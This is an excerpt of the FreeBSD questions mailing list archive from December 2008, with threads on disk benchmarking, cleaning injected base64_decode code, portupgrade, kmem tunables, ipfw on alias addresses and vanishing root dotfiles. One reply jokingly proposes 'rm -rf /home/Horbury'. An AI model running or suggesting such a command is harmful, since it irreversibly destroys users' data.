different >> aspect of the system. I think bonnie++ will be the simplest in your ca= se. > can bonnie++ operate on raw device not filesystem? >=20 > he asked about disk benchmarked not disk+filesystem >=20 Sorry, you're right. --------------enigADE149605345532720D28E3D Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJN9VrldnAQVacBcgRAu8GAJ9aQruliOmOeURoTIOdHS1qPJvxHwCfXZ/r YVS1WC2E2GAXD0qjS2P0KwI= =UwH3 -----END PGP SIGNATURE----- --------------enigADE149605345532720D28E3D-- From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 13:19:36 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 08DD010656D9 for ; Thu, 4 Dec 2008 13:19:36 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 19FFF8FC1F for ; Thu, 4 Dec 2008 13:19:34 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB4DJNQT053753; Thu, 4 Dec 2008 14:19:23 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB4DJN8W053750; Thu, 4 Dec 2008 14:19:23 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Thu, 4 Dec 2008 14:19:23 +0100 (CET) From: Wojciech Puchar To: Ruben de Groot In-Reply-To: <20081204130021.GA17518@ei.bzerk.org> Message-ID: <20081204141855.H53747@wojtek.tensor.gdynia.pl> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <4937D272.9090108@unsane.co.uk> <20081204130021.GA17518@ei.bzerk.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: mcoyles@horbury.wakefield.sch.uk, freebsd-questions@freebsd.org, Vincent Hoffman Subject: Re: Mass find/replace... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 13:19:36 -0000 > > Or just: > > grep -r base64_decode /home/Horbury > rm -rf /home/Horbury and then - write the webpage code properly :) From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 13:31:25 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4610C1065670 for ; Thu, 4 Dec 2008 13:31:25 +0000 (UTC) (envelope-from k_proskurin@fxclub.org) Received: from mx.fxclub.org (mx.fxclub.org [89.108.83.253]) by mx1.freebsd.org (Postfix) with ESMTP id A19DC8FC16 for ; Thu, 4 Dec 2008 13:31:23 +0000 (UTC) (envelope-from k_proskurin@fxclub.org) Received: from [195.161.112.230] (helo=mail.fxclub.org) by mx.fxclub.org with esmtps (TLSv1:AES256-SHA:256) (Exim) id 1L8EIc-00059C-Nq; Thu, 04 Dec 2008 13:31:22 +0000 Received: from fw-office.fxclub.org ([194.87.53.162] helo=proskurin-kv.hq.fxclub.org) by mail.fxclub.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim) id 1L8EIa-000H5s-CG; Thu, 04 Dec 2008 13:31:20 +0000 Message-ID: <4937DBA8.8020509@fxclub.org> Date: Thu, 04 Dec 2008 16:31:20 +0300 From: Proskurin Kirill User-Agent: Thunderbird 2.0.0.18 (X11/20081125) MIME-Version: 1.0 To: Marcel Grandemange , FreeBSD Questions Mailing List References: <025d01c955f2$4856e270$d904a750$@za.net> <4937AC23.1030203@b1c1l1.com> <028901c955fe$9b7833d0$d2689b70$@za.net> In-Reply-To: <028901c955fe$9b7833d0$d2689b70$@za.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Subject: Re: Downgrading Ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: FreeBSD Questions Mailing List List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 13:31:25 -0000 Marcel Grandemange wrote: > > I have used portdowngrade successfully on ports already installed, but > doesn't work on a port not installed yet. > Am I doing something wrong? Yes - you not read the man. portupgrade -N newport or sometimes better: portupgrade -N portclass/newport For example portupgrade -N www/apache2 P.S. Config our MTA to add "reply-to: freebsd-questions@freebsd.org" filed then sed messages to this list. -- Best regards, Proskurin Kirill From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 13:33:04 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 026931065675 for ; Thu, 4 Dec 2008 13:33:04 +0000 (UTC) (envelope-from k_proskurin@fxclub.org) Received: from mx.fxclub.org (mx.fxclub.org [89.108.83.253]) by mx1.freebsd.org (Postfix) with ESMTP id 9C3CB8FC17 for ; Thu, 4 Dec 2008 13:33:03 +0000 (UTC) (envelope-from k_proskurin@fxclub.org) Received: from [195.161.112.230] (helo=mail.fxclub.org) by mx.fxclub.org with esmtps (TLSv1:AES256-SHA:256) (Exim) id 1L8EKG-0005T3-7K for freebsd-questions@freebsd.org; Thu, 04 Dec 2008 13:33:04 +0000 Received: from fw-office.fxclub.org ([194.87.53.162] helo=proskurin-kv.hq.fxclub.org) by mail.fxclub.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim) id 1L8EKD-000HAY-TK for freebsd-questions@freebsd.org; Thu, 04 Dec 2008 13:33:01 +0000 Message-ID: <4937DC0E.5070602@fxclub.org> Date: Thu, 04 Dec 2008 16:33:02 +0300 From: Proskurin Kirill User-Agent: Thunderbird 2.0.0.18 (X11/20081125) MIME-Version: 1.0 To: FreeBSD Questions Mailing List References: <025d01c955f2$4856e270$d904a750$@za.net> <4937AC23.1030203@b1c1l1.com> <028901c955fe$9b7833d0$d2689b70$@za.net> <4937DBA8.8020509@fxclub.org> In-Reply-To: <4937DBA8.8020509@fxclub.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: Downgrading Ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: FreeBSD Questions Mailing List List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 13:33:04 -0000 Proskurin Kirill wrote: > Marcel Grandemange wrote: >> >> I have used portdowngrade successfully on ports already installed, but >> doesn't work on a port not installed yet. >> Am I doing something wrong? > > Yes - you not read the man. > > portupgrade -N newport > or sometimes better: > > portupgrade -N portclass/newport > > For example > portupgrade -N www/apache2 > > P.S. Config our MTA to add "reply-to: freebsd-questions@freebsd.org" > filed then sed messages to this list. > Ops! I miss prog name - think you talk about portupgrade Sorry. -- Best regards, Proskurin Kirill From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 13:38:27 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7F5411065673 for ; Thu, 4 Dec 2008 13:38:27 +0000 (UTC) (envelope-from weldon@excelsus.com) Received: from mx0.excelsus.net (emmett.excelsus.com [74.93.113.252]) by mx1.freebsd.org (Postfix) with ESMTP id 31C208FC18 for ; Thu, 4 Dec 2008 13:38:26 +0000 (UTC) (envelope-from weldon@excelsus.com) Received: (qmail 11049 invoked by uid 89); 4 Dec 2008 13:38:12 -0000 Received: from unknown (HELO localhost) (127.0.0.1) by localhost.excelsus.com with SMTP; 4 Dec 2008 13:38:12 -0000 Date: Thu, 4 Dec 2008 08:38:12 -0500 (EST) From: Weldon S Godfrey 3 To: eculp@casasponti.net In-Reply-To: <20081203163253.17qwm4xctqaoccc4w@intranet.casasponti.net> Message-ID: <20081204083633.J23406@emmett.excelsus.com> References: <20081203103803.V43611@emmett.excelsus.com> <20081203163253.17qwm4xctqaoccc4w@intranet.casasponti.net> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-358400939-1228397892=:23406" Cc: freebsd-questions@freebsd.org Subject: Re: loader.conf issues X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 13:38:27 -0000 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --0-358400939-1228397892=:23406 Content-Type: TEXT/PLAIN; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: QUOTED-PRINTABLE Thanks, I meant to update this earlier, it appears that the kmem tunables need a=20 larger cast in 7.x (to use beyond 4GB kernel memory map), I opened a=20 ticket yesterday. If memory serves me right, sometime around Yesterday, eculp@casasponti.net.= =2E.: > > Weldon S Godfrey 3 escribi=F3: > >>=20 >> I did a quick search for this and didn't see anyone seeing this. >>=20 >> I am running 7.0-PRERELEASE amd64 >>=20 >> This is my loader.conf: >>=20 >> vm.kmem_size_max=3D"16106127360" >> vm.kmem_size=3D"1073741824" >> kern.maxvnodes=3D"800000" > > I've always changed those variables in /etc/sysctl.conf > > ed > >>=20 >> However, this is what happens after reboot: >>=20 >> store1# sysctl -a | grep kmem >> vm.kmem_size_scale: 3 >> vm.kmem_size_max: 3221225472 >> vm.kmem_size_min: 0 >> vm.kmem_size: 1073741824 >> store1# sysctl -a | grep kern.maxvn >> kern.maxvnodes: 100000 >> store1# >>=20 >>=20 >> Is there some issue with vm.kmem_size_max being larger than 3G? If this= has=20 >> been fixed, let me know. I am using 7.0-RELEASE loader from amd64 iso s= ince=20 >> for some reason, when I complile a new loader on this Dell 2950-iii, I g= et=20 >> an unusable loader (it just hangs before the screen to select safe mode,= =20 >> single user mode, etc). >>=20 >> Thanks, >>=20 >> Weldon >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.= org" >>=20 > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" --0-358400939-1228397892=:23406-- From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 14:36:15 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7CCD11065672 for ; Thu, 4 Dec 2008 14:36:15 +0000 (UTC) (envelope-from smithi@nimnet.asn.au) Received: from sola.nimnet.asn.au (paqi.nimnet.asn.au [220.233.188.227]) by mx1.freebsd.org (Postfix) with ESMTP id 9F9098FC08 for ; Thu, 4 Dec 2008 14:36:14 +0000 (UTC) (envelope-from smithi@nimnet.asn.au) Received: from localhost (localhost [127.0.0.1]) by sola.nimnet.asn.au (8.14.2/8.14.2) with ESMTP id mB4EaBGs014660; Fri, 5 Dec 2008 01:36:11 +1100 (EST) (envelope-from smithi@nimnet.asn.au) Date: Fri, 5 Dec 2008 01:36:11 +1100 (EST) From: Ian Smith To: Brett Davidson In-Reply-To: <4937288A.5070106@net24.co.nz> Message-ID: <20081205003414.U60430@sola.nimnet.asn.au> References: <20081201120023.9E1821065688@hub.freebsd.org> <20081201233222.L34249@sola.nimnet.asn.au> <4934534D.1060100@net24.co.nz> <20081204012026.O60430@sola.nimnet.asn.au> <4937288A.5070106@net24.co.nz> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: freebsd-questions@freebsd.org Subject: Re: Is there anything weird I should know about using ipfw on alias addresses? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 14:36:15 -0000 On Thu, 4 Dec 2008, Brett Davidson wrote: > Ian Smith wrote: > > On Tue, 2 Dec 2008, Brett Davidson wrote: > > > Ian Smith wrote: > > > > On Mon, 01 Dec 2008 16:52:12 +1300 Brett Davidson > > > > wrote: > > > > > > > ifconfig shows the alias addresses correctly bound. > > > > > Creating an ipfw rule and testing it from the command line works > > > > > (connects out from master address, not alias) > > > > > > From website on alias address, the firewall blocks the packets. > > > > > > > > > > The weird thing is that it tags them (in the security log) as > > coming > > > > > from the master address (not the alias) out the correct interface. In > > a > > > > > normal world that would mean the packet would match!!!!! > > > > > > What's goin' on here Willis? > > > > > > Difficult to tell without seeing a) ifconfig b) netstat -rn c) at > > least the > > > > relevant firewall rule/s and d) log entries that illustrate your > > problem. > > > > Obscure sensitive information by all means, but otherwise pretend we > > > > haven't the slightest clue how your system is configured :) > > > > > > Fair enough. > > > > ifconfig below: > > > > bce1: flags=8843 mtu 1500 > > > options=3b > > > inet 210.5.50.5 netmask 0xffffffe0 broadcast 210.5.50.31 > > NB .. > > > inet 210.5.51.32 netmask 0xffffffff broadcast 210.5.51.32 > > > inet 210.5.51.27 netmask 0xffffffff broadcast 210.5.51.27 > > > inet 210.5.51.33 netmask 0xffffffff broadcast 210.5.51.33 > > > inet 210.5.51.34 netmask 0xffffffff broadcast 210.5.51.34 > > > inet 210.5.51.42 netmask 0xffffffff broadcast 210.5.51.42 > > > inet 210.5.51.4 netmask 0xffffffff broadcast 210.5.51.4 > > > ether 00:1c:c4:c0:56:94 > > > media: Ethernet autoselect (1000baseSX ) > > > status: active > > > > Relevant /etc/rc.conf entries : > > > ifconfig_bce1="inet 210.5.50.5 netmask 255.255.255.224" > > > ifconfig_bce1_alias0="inet 210.5.50.5 netmask 255.255.255.224" > > > > Your first alias here is a repeat of the 'primary' address. ifonfig seems > > to have resolved/merged that above, but it's not an alias. > > > > > True. Blame that on the piece of software (Plesk) that manages the IP > addresses for the websites we host. Ok in this instance. Please copy the list on replies, for archives. > > > ifconfig_bce1_alias1="inet 210.5.51.4 netmask 255.255.255.255" > > > ifconfig_bce1_alias2="inet 210.5.51.27 netmask 255.255.255.255" > > > ifconfig_bce1_alias3="inet 210.5.51.32 netmask 255.255.255.255" > > > ifconfig_bce1_alias4="inet 210.5.51.33 netmask 255.255.255.255" > > > ifconfig_bce1_alias5="inet 210.5.51.34 netmask 255.255.255.255" > > > ifconfig_bce1_alias6="inet 210.5.51.42 netmask 255.255.255.255" > > > > I didn't spot on first reading this that the first address is in a > > different subnet than all the others. I'm not entirely sure whether that's > > relevant, or how, just pointing it out as being non-obvious, and suspecting > > one of the 210.5.51 subnet should show a broader netmask. > > > I've wondered that as well but it all works EXCEPT for when ipfw is involved. Looks like we may need to see more, if not all, of your ipfw ruleset. 'ipfw -ted show' is pretty good for seeing everything. try adding 'log' to some more rules, until you can SEE where packets are getting blocked. Doesn't 'tcpdump -pn -i bce1 host 210.5.51.42 and host 208.69.123.164' provide any good clues to these flows? Or in this case maybe better: tcpdump -pn -i bce1 host \(210.5.51.42 or 210.5.50.5\) and host 208.69.123.164 > > > Relevant ipfw rules : > > > ipfw -q add 02012 allow tcp from any to 208.69.123.164 80 out via bce1 > > setup > > > keep-state > > > ipfw -q add 02012 allow tcp from any to 208.69.123.164 443 out via bce1 > > setup > > > keep-state Do you have a check-state rule? Where? Are there any skiptos that might miss anything? Do you have rules affecting established traffic? Sorry, but I find this too like a guessing game, or pulling teeth :) > > netstat -finet -rn (or -rna) please? unclear where your default route > > goes, or how the 210.5.51 subnet is routed or its netmask, but assume that > > 208.69.123.164 is probably accessed via the default route .. > > > > > Routing tables > > Internet: > Destination Gateway Flags Refs Use Netif Expire > default 210.5.50.1 UGS 0 296628406 bce1 > 127.0.0.1 127.0.0.1 UH 0 4339898 lo0 > 172.16.1/24 link#1 UC 0 0 bce0 > 172.16.1.1 00:04:28:ad:10:00 UHLW 1 0 bce0 1035 > 172.16.1.4 00:04:23:08:28:30 UHLW 1 167202525 bce0 1189 > 172.16.1.8 00:04:23:b2:f7:17 UHLW 1 0 bce0 1021 > 172.16.1.9 00:04:23:c7:79:0d UHLW 1 1 bce0 1190 > 172.16.1.12 00:07:e9:f4:cc:51 UHLW 1 0 bce0 1021 > 172.16.1.23 00:04:23:c7:78:cd UHLW 1 0 bce0 1199 > 172.16.1.30 00:04:23:d1:b9:c7 UHLW 1 0 bce0 1104 > 172.16.1.255 ff:ff:ff:ff:ff:ff UHLWb 1 156242 bce0 > 210.5.50/27 link#2 UC 0 0 bce1 > 210.5.50.1 00:04:28:ad:10:00 UHLW 2 0 bce1 1060 > 210.5.50.5 00:1c:c4:c0:56:94 UHLW 1 5010367 lo0 > 210.5.50.31 ff:ff:ff:ff:ff:ff UHLWb 1 350707 bce1 > 210.5.51.4/32 link#2 UC 0 0 bce1 > 210.5.51.27/32 link#2 UC 0 0 bce1 > 210.5.51.32/32 link#2 UC 0 0 bce1 > 210.5.51.33/32 link#2 UC 0 0 bce1 > 210.5.51.34/32 link#2 UC 0 0 bce1 > 210.5.51.42/32 link#2 UC 0 0 bce1 > > As you can see,. it's pretty straightforward and works except where ipfw is > involved with the website on 210.5.51.42. Ok, so if it works without ipfw running, then some ipfw rule is blocking traffic, it's safe enough to say. See above about showing timestamps to see what happened when (ie what just happened on the latest test). > > > Interesting entries in /var/log/security : > > > Dec 1 16:42:25 kernel: ipfw: 9999 Deny TCP > > 210.5.50.5:49708 > > > 208.69.123.164:80 out via bce1 > > > > Did that occur =after= the above rules were installed? Just the one? > > Seems odd on face value, but without knowing what your other rules do. > > > Yes - it's our last default catch-all rule that blocks and logs all traffic > not handled by any previous rules. Mmm. And these keep on occurring all the while? Or just on startup? > > > What makes this interesting is that I can connect to that port via the > > > command line. > > > > You mean like with 'telnet 208.69.123.164 80' ? With 210.5.50.5 as source > > address? tcpdump output may help understand or explain this. > > > Indeed! That's exactly what I mean which is why the security log output is a > little weird. tcpdump output may help .. and some timestamped logging. Dig deeper. > > > It's the website that lives on 210.5.51.42 that is having problems. Why, > > if > > > the rule is valid enough for the command line is it having problems from > > an > > > aliased address? > > > > Hang on; do you mean you're having a webserver on 210.5.51.42 trying to > > connect out to another webserver on 208.69.123.164 ? If not, what? > > > > > Bingo! Ah well. So what are you using / how are you getting this webserver's alias to establish outbound sockets using that address as the source address, rather than the 210.5.50.5 the system will normally assume? Some things - named's one example - allow specifying the source query address, so show how are you doing that from a webserver, where you can specify listening address/es inbound, but not (usually) outbound? If these packets were sourced from 210.5.50.5 and not 210.5.51.42 as you're expecting, then replies will never go back to 210.5.51.42, eh? > > I guess you have rules allowing inbound port 80 access to 210.5.51.42 ? > > > Yes, as well as 443 (the reason for having a seperate address in the first > place). > > > And that your upstream is routing 210.5.51.42/something to 210.5.50.5 ? > > > Correct. > > > > This MUST have something to do with the way ipfw is working with aliased > > > addresses but I'm blowed if I know what is wrong. > > > > ipfw doesn't do anything different with any address in particular except > > when using the forward action. ipfw certainly has no concept of primary or > > alias addresses, it just applies the addresses/masks you specify. > > > > Nor does ipfw know or care (even when forwarding) whence the stack is next > > going to route outbound packets .. but netstat -rn will tell us. Sorry, still way too little evidence to convict this masked culprit .. for this non-psychic bear of little brain anyway. Did I mention tcpdump? cheers, Ian From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 14:38:17 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4D6BE1065673 for ; Thu, 4 Dec 2008 14:38:17 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: from rv-out-0506.google.com (rv-out-0506.google.com [209.85.198.232]) by mx1.freebsd.org (Postfix) with ESMTP id 1B1D68FC13 for ; Thu, 4 Dec 2008 14:38:17 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: by rv-out-0506.google.com with SMTP id b25so3916782rvf.43 for ; Thu, 04 Dec 2008 06:38:16 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type:references; bh=8wCE9Qf4ZyBTnzyAgtLFtk3SHPq1B0nfJjV2nxZw458=; b=XgXgNdhwyENrgcFhYbG641hHdNaTbca09ltWt9A+Ol2JPDgMXZQJbwpsr5MSGxwoDG RvNxbfBuC9h/eUWcLeZzXgYq98W9CiKad+ISoVN9LiJO1b7yJKwMwfTf13B1fwzJ1/VD bAGTUNXv5ssMSFwxpZ69ky4pgfu56GRknOv3A= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:references; b=fzDjPOpfODHNibmPXa04aAF5CTuRHWRDsTceaL5++MQjdiDjXkXX7oLoWIrMDeO4P0 cAWbH9Zmn+eUE5I1Kdfka2UVcLgQ/PyuZUlDf3ie54xHCX+QwprhNVUn12T1r1oRnc5J 2TUk59+eYfyBEf4PJwZkSnArGzJkWxbGixXNM= Received: by 10.141.2.18 with SMTP id e18mr6957863rvi.142.1228401496355; Thu, 04 Dec 2008 06:38:16 -0800 (PST) Received: by 10.141.128.5 with HTTP; Thu, 4 Dec 2008 06:38:16 -0800 (PST) Message-ID: Date: Thu, 4 Dec 2008 07:38:16 -0700 From: "Tim Judd" To: "Derek Ragona" In-Reply-To: <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> MIME-Version: 1.0 References: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> <49374418.6060709@FreeBSD.org> <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Kris Kennaway , freebsd-questions@freebsd.org Subject: Re: what script is whacking root's files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 14:38:17 -0000 On Thu, Dec 4, 2008 at 5:30 AM, Derek Ragona wrote: > At 01:11 AM 12/4/2008, Tim Judd wrote: > > On Wed, Dec 3, 2008 at 7:44 PM, Kris Kennaway wrote: > > > Derek Ragona wrote: > > > >> I have a freshly installed 7.0 release server. The configuration files > >> (all dot files including .ssh etc.) in /root keep getting deleted. I > >> assume this is from a script running from periodic and can be set NOT to > >> delete these files. Can someone point me where I need to make this > change. > >> I have already combed through the handbook and mailing list archives. > >> > > > > There is no such standard script in FreeBSD. > > > > Kris > > > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to " > > freebsd-questions-unsubscribe@freebsd.org" > > > > > I'd make sure there's not something like a tmpfs/mfs filesystem that /root > is being used on. If / is on a ramdisk image of any kind, on each reboot, > it should disappear. > > Perhaps you should paste your fstab and current mounted filesystems as an > aid to debug. > > > I didn't think it would be from the way the filesystems are mounted, so > here's that information: > > cat /etc/fstab > # Device Mountpoint FStype Options Dump > Pass# > /dev/da0s1b none swap sw 0 0 > /dev/da0s1a / ufs rw 1 1 > /dev/da0s1d /usr ufs rw 2 2 > /dev/acd0 /cdrom cd9660 ro,noauto 0 0 > > mount > /dev/da0s1a on / (ufs, local) > devfs on /dev (devfs, local) > /dev/da0s1d on /usr (ufs, local, soft-updates) > > /root is on /dev/da0s1a > > This particular server is running in a VM on a vmware esx 3.5 server. The > server runs fine, but every so often the dot files disappear for root. I > have not found the behavior to follow a reboot, but some period of time. > Hence my suspicions it was a periodic script. > > -Derek > all dotfiles are hidden, in terms of the usability of the files. Some shells will alias 'ls' with -a to show all files (including dotfiles). Other shells don't alias it so it hides the files. Are you sure they really disappear, or are they gone from a directory listing because ls is not being called with -(a)ll files displayed? I just think that your files are not being deleted. Something is just not being specified. Check system crontab file (/etc/crontab) and your own crontab (crontab -lu root) Change your root password, incase somebody's in there, deleting your files to hide their own tracks. chmod -R 0600 /root I agree that there isn't something "correct" about this, but i'm positive it's not a base periodic script that's included in FreeBSD Base install. From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 14:48:41 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 846631065673 for ; Thu, 4 Dec 2008 14:48:41 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from ciao.gmane.org (main.gmane.org [80.91.229.2]) by mx1.freebsd.org (Postfix) with ESMTP id 34DFF8FC0C for ; Thu, 4 Dec 2008 14:48:40 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from list by ciao.gmane.org with local (Exim 4.43) id 1L8FVN-0007u8-L3 for freebsd-questions@freebsd.org; Thu, 04 Dec 2008 14:48:37 +0000 Received: from lara.cc.fer.hr ([161.53.72.113]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 04 Dec 2008 14:48:37 +0000 Received: from ivoras by lara.cc.fer.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 04 Dec 2008 14:48:37 +0000 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Ivan Voras Date: Thu, 04 Dec 2008 15:48:32 +0100 Lines: 33 Message-ID: References: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> <49374418.6060709@FreeBSD.org> <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enigC9308F417397E30EBDC9EBD3" X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: lara.cc.fer.hr User-Agent: Thunderbird 2.0.0.18 (X11/20081125) In-Reply-To: <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> X-Enigmail-Version: 0.95.0 Sender: news Subject: Re: what script is whacking root's files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 14:48:41 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigC9308F417397E30EBDC9EBD3 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Derek Ragona wrote: > This particular server is running in a VM on a vmware esx 3.5 server.=20 > The server runs fine, but every so often the dot files disappear for > root. I have not found the behavior to follow a reboot, but some perio= d > of time. Hence my suspicions it was a periodic script. >=20 Are you sure the vmware server doesn't periodically (or on reboot, perhaps?) revert the disk's content to an earlier snapshot? --------------enigC9308F417397E30EBDC9EBD3 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJN+3AldnAQVacBcgRAlkyAJ4+l+3CvfQBBHiaCLewJWK4dJNuDgCdEz9C elLHgpEfAWRjU1DSBXqRoa0= =hFgA -----END PGP SIGNATURE----- --------------enigC9308F417397E30EBDC9EBD3-- From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 15:02:25 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4E2421065675 for ; Thu, 4 Dec 2008 15:02:25 +0000 (UTC) (envelope-from aggelidis.news@gmail.com) Received: from yw-out-2324.google.com (yw-out-2324.google.com [74.125.46.28]) by mx1.freebsd.org (Postfix) with ESMTP id 0821E8FC12 for ; Thu, 4 Dec 2008 15:02:24 +0000 (UTC) (envelope-from aggelidis.news@gmail.com) Received: by yw-out-2324.google.com with SMTP id 9so1736689ywe.13 for ; Thu, 04 Dec 2008 07:02:24 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=2+JKZh03NWoCrMJPfvNoIwHIYVVbZ3x5Cj+iPA2Y1z4=; b=MqdzKEDDfXz8aacWjxDKhcosrNgH32WzrSCbyAF/nqBMHpcEKqTWmCGEADMkNo0mlP 